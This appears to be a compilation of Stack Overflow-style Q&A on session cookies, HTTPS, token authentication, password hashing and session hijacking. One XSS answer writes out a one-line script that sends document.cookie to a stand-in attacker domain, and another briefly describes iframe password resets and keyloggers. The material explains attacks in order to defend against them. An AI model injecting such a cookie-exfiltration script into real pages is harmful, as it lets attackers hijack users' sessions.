I was playing around with express-session and reading their documentation and it seems like on the client side, the cookie with the name connect.sid stores the session ID. My understanding of security is limited but isn't this a vulnerability if the session ID is so easily accessible?
Cookies are private to the target client. This is no different for socket.io or for a google login. If the server wants to protect them, then you run the connection over https and it's end-to-end encrypted and the only one who has access to those cookies is the client itself. This is how browsers do login and identification of a previously authenticated client.
Also a socket.io sessionID does not need to be a secret. It doesn't authorize anything. It just identifies a client as the same client as previous. If the application wants that client to be authenticated and secure, then that needs to happen some different way. There is no authentication whatsoever associated with a socket.io cookie.
If you're using an express-session and you want it to be secure, then you need to use end-to-end https. That protects the session cookie in transit. Yes, if your client is compromised and someone steals the session cookie and uses it before it expires, they can possibly hijack the session. But, that's why you use https so there is no way to grab the session cookie from somewhere in the middle of the transport. So, what needs to be secure is the client itself. And, that's the same requirement as every single web site that uses authentication. This is the architecture of the web, nothing new for socket.io or express-session.
So what would happen if somehow your computer is hacked and the hacker obtains access to the client's browser, and hence the cookies & session ID as well? Then they wouldn't be hijacking the session while it's in transporting
First off, you can expire your cookies quickly (like within 5 minutes of inactivity). You will see banking websites do this.
Then, you have much bigger problems if the computer itself has been compromised. The attacker can implant keyloggers or other spyware and can steal your actual login credentials, not only for your website, but also for email and other things like that.
There are higher levels of security than just a username and password for login. For example, you can require a physical piece of hardware that either plugs into your USB port or requires you to enter a code (that is constantly changing) from the device. I've worked for companies that required such a device in order to login to the company network from outside the corporate LAN. This is one form of what is referred to as "two-factor" authentication.
If you look at websites like banks, they will typically do some sort of detection of the login computer and if it looks like an unfamiliar computer (missing other cookies, different IP address, different user agent, different screen resolution, etc...) then they require additional login steps such as sending a code to your phone that you have to enter before you can get logged in. Or, they require you to answer additional personal questions before letting you in. They may also notify the account holder that a new computer was used for login. If that wasn't you, go change/resecure your account credentials.
Would you suggest setting up a re-route of my entire website from HTTP to HTTPS to solve this?
Yes. Any site interested in security should require access over https.
There is a lot written about this topic on the web. You can start by reading articles here: https://www.google.com/search?q=best+practices+for+securing+login
Related
I have an application with the following characteristics:
It's an online service offered to many companies. Each company uses a dedicated Play for Scala (Netty) application server.
Each application server accesses a dedicated MySql database.
In each database users' passwords are stored with MD5.
To login, the user needs to enter on a web page the company code, the user id and the password. Alternatively, the user may go directly to its company web page where they will enter only the user id and the password.
These are my thoughts: I could implement a Node.js application server that will redirect the login to each Play application server where the user password will be validated. Am I too way off?
Here's one way you can do it:
User enters their login info into a form on the Node.js server.
Node.js server receives the POST request and makes an HTTP(S) request to the corresponding Play server.
Play server receives the request and an action verifies the login information, returning a token to the Node.js server.
The Node.js server responds to the original POST with a redirect to the correct Play server, including the token in the redirect URL.
The Play server receives the request, verifies the token and logs the user in.
Disclaimer:
There's a lot of security stuff going on here - the Node.js-Play server communication and passing the token needs to be done securely. Think: nonces, encryption, challenges, etc. I'm not an expert so I haven't made concrete suggestions about how to secure each stage, but I know the design I've given above definitely needs more work to make it properly secure. You'll want to read up on how to do this, perhaps review existing single-sign on architectures, oauth, etc, perhaps ask some specific security-related questions.
Also, using md5s for passwords is not good practice. Use a stronger hashing algorithm with a salt. See http://john.cuppi.net/migrate-from-md5-to-bcrypt-password-hashes/ for how you can migrate without disruption.
I've recently been reading on session cookies and how they can be hijacked via man-in-middle attacks. It seems this is mainly possible on an unencrypted connection between a client and a webserver.
However, I cannot figure out why, if one is already 'in the middle' of an unencrypted connection, would one prefer to capture the cookie instead of the username & password - a more valuable resource - which should also be sent in plaintext?
Stealing cookie is the easiest way to account hijacking.
unencrypted traffic does not mean that data is plain-text form. Especially mobile applications are using encryption methods on data before send it. For this reason, you will not be able to get username/password even if you doing MITM attacks.
You don't know clients are authenticated or not. Therefor when you start MITM attacks, you can't be sure all of your target are going to enter their username/password.
What about 2 factor authentication mechanism ? If you try to steal username/password rather than cookie value. How you planning to log-in 2 factor authentication enabled accounts ?
Whenever someone talks about the dangers of xss, they mention that the 'bad guys' can get access to user credentials. But if I only store a session id on the cookie, and authenticate the user based on the session id, are there any other ways xss can be used to access user credentials?
Yes.
XSS means a foreign or malicious script is running on the page. There are a bunch of ways this could be dangerous.
Session Hijacking
Even if the cookie doesn't store user credentials (and it shouldn't). It stores enough information for the server to consider the bearer of the cookie to be a particular user (HTTP is stateless so we use cookies/sessions to remember users).
So if someone steals the session ID they can use it to impersonate you and the server might be none the wiser.
Safeguarding with IP
In your original question you asked about another level of security: verifying the IP address tied to the session. Yes, that cuts down the attack avenue. Yes, IP addresses can be faked. But you're no longer the lowest hanging fruit for attackers. At the same time security and convenience are opposites so your legitimate users might be frustrated that when their IP address changes they are no longer signed in.
Other attacks
Stealing the cookie/session is one easy way to gain access but not the only one.
Since a script is running (supposedly) from the trusted site and from the user's browser. It could to a lot of things:
loads an invisible iframe for the account edit page and resets the password/email for the user
load a keylogger, show the user the login page
Unless the Session ID cookie is marked as HTTP Only, the session can still be hijacked using XSS.
e.g.
new Image().src = 'http://www.example.com/?cookie=' + escape(document.cookie);
will send the Session ID to the attackers domain (www.example.com) where they will be able to set their own cookie to the same Session ID and steal the session.
Even without the cookie risk, as the attacker can inject whatever they like into the page, they could alter any page content or install key loggers in the browser session.
I recently went to a talk that described ways to trick a password manager into filling out a password form, provided that the attacker could use XSS to modify pages on the victim site. That's one way an attacker might be able to access user credentials.
I am building a mobile application that include users doing various things in the app and I started off with authenticating all user actions inside the app using a token that is stored locally on the device. My biggest concern was that anyone can sniff the network and look at the http requests I make inside the app and thus send false requests on behalf of a real user. Something like this:
http://mywebsite.com/postmessage?user=abcd&token=35sxt&msg=Hi
Now, I am using HTTPS though and no one can see my domain name nor the data being sent. So I'm inclined to get rid of tokens all together and do just this:
https://mywebsite.com/postmessage?user=abcd&msg=Hi
Am I correct in assuming I don't need tokens anymore? The whole purpose of them for me was making sure that no one can make an action on behalf of another user without authorization and now it seems pointless that I still use tokens. Am I missing something else?
Firstly, you were correct that having the token in the URL (or anywhere else) was a security risk over HTTP. However, now that you are on HTTPS, it should not matter whether you have the API token in the URL or you are transmitting it in some other way. The URL should be as secure as any other part of the transaction. I say "should" because in practice your internal infrastructure may do logging, metrics collection or reporting that reveals the URL slightly more easily than you intend. And the client may submit the visited URL (but not other info) to its own logging system or to a smart search service like Google, etc. But for most use cases and in most configurations this is not a major issue.
But it sounds from your question like you are talking about not removing the token from the URL and adding it to the HTTP headers or some other fashion, but actually removing the token concept entirely.
So what you should ask is, what is special about HTTPS that makes the token unnecessary? HTTPS secures the communication but it does not authenticate the client. Except in very unusual configurations, anyone can connect via HTTPS and issue commands, and unless you have some method of authentication the HTTPS will not protect you from unauthorized access. If you are using cookies for authentication, or if you are passing the token via HTTP headers (which is actually how I prefer to handle tokens when possible) then your need for authentication is satisfied and you do not need the token. If you do not have any other form of authentication, and you need authentication for security on your website, then you do need the token.
HTTPS is basically used to ensure that you are communicating with a webstie that you intended to and to encrypt communication data so that even if someone intercepts your data, it makes no sense to them.
For e.g. if you are placing an order on Amazon and making a payment,
HTTPS will ensure that:
you are actually submitting payment details to Amazon
your payment data is encrypted when flowing from your browser to Amazon webserver.
When communicating over HTTPS, browsers validates servers digital certiifcate to confirm their identity , then a key is exchanged between server and browser to encrypt data flow between browser and server.
By default HTTPS does not authenticate client. So if you have some actions specific to particular user, you still needs authentication token from client.
But if the token is passed as query parameter in URL itself, then it is still exposed to attackers, so send the token in cookie over HTTPS.
It is also recommended to mark your cookies as secure, to ensure that cookies are sent only over a secure (https) connection and not over http as it can reveal user details.
Hope it helps.
I've begun to wonder about something:
Given that Gmail and Facebook use HTTPS on a per-profile basis, and that they don't use it by default, are connections to them vulnerable?
I'm not familiar at all with the protocols involved, but my reasoning goes like this: the browser needs to figure out whether or not to use HTTPS, and by default, it doesn't. That means that whenever I point my page to Facebook.com, my browser sends some piece of information (perhaps a session ID?) over an unencrypted channel to Facebook, before figuring out whether or not I've requested HTTPS. (Please correct me if I'm wrong, but I don't believe it uses a secure connection for sending this.)
Doesn't this mean that anyone could hijack the session ID in the middle of the unsecure connection? Is this a potential vulnerability?
Cookies that use the Secure flag are sent only via HTTPS. So it is possible to always redirect HTTP to HTTPS and avoid sending session cookies over HTTP before the redirection but I wouldn't count on it so I would never connect with Gmail using http://mail.google.com/ - only https://mail.google.com/
Actually I just checked and Gmail seems to set 6 cookies - only 3 of which are secure. When you visit http://mail.google.com/mail/ your browser actually sends your email address in cleartext for everyone to see before you get redirected to HTTPS.
As for the security of Facebook... I recommend watching the "How I met your girlfriend" talks by Samy Kamkar at Defcon (shorter) and at Blackhat (longer).
Update to avoid confusion in the comments: Samy Kamkar explained a method to guess the Facebook session cookie so HTTPS doesn't matter at all here. The point is that you can use HTTPS only and still be vulnerable to session hijacking.
Both of these are secure and do not expose session IDs
User browses to http://www.facebook.com
User types in username and password which submits to https://www.facebook.com/...
The facebook servers have securely received the username/password from step 2, validate the user, and check the database to see if this user requests SSL only traffic. If the user has SSL only traffic selected, facebook sets the secure bit in the cookie that contains the user's session ID only allowing it to be sent over secure connections. All of the links facebook returns to that user are https:// links so each connection is encrypted.
Nowhere in this process is the session ID exposed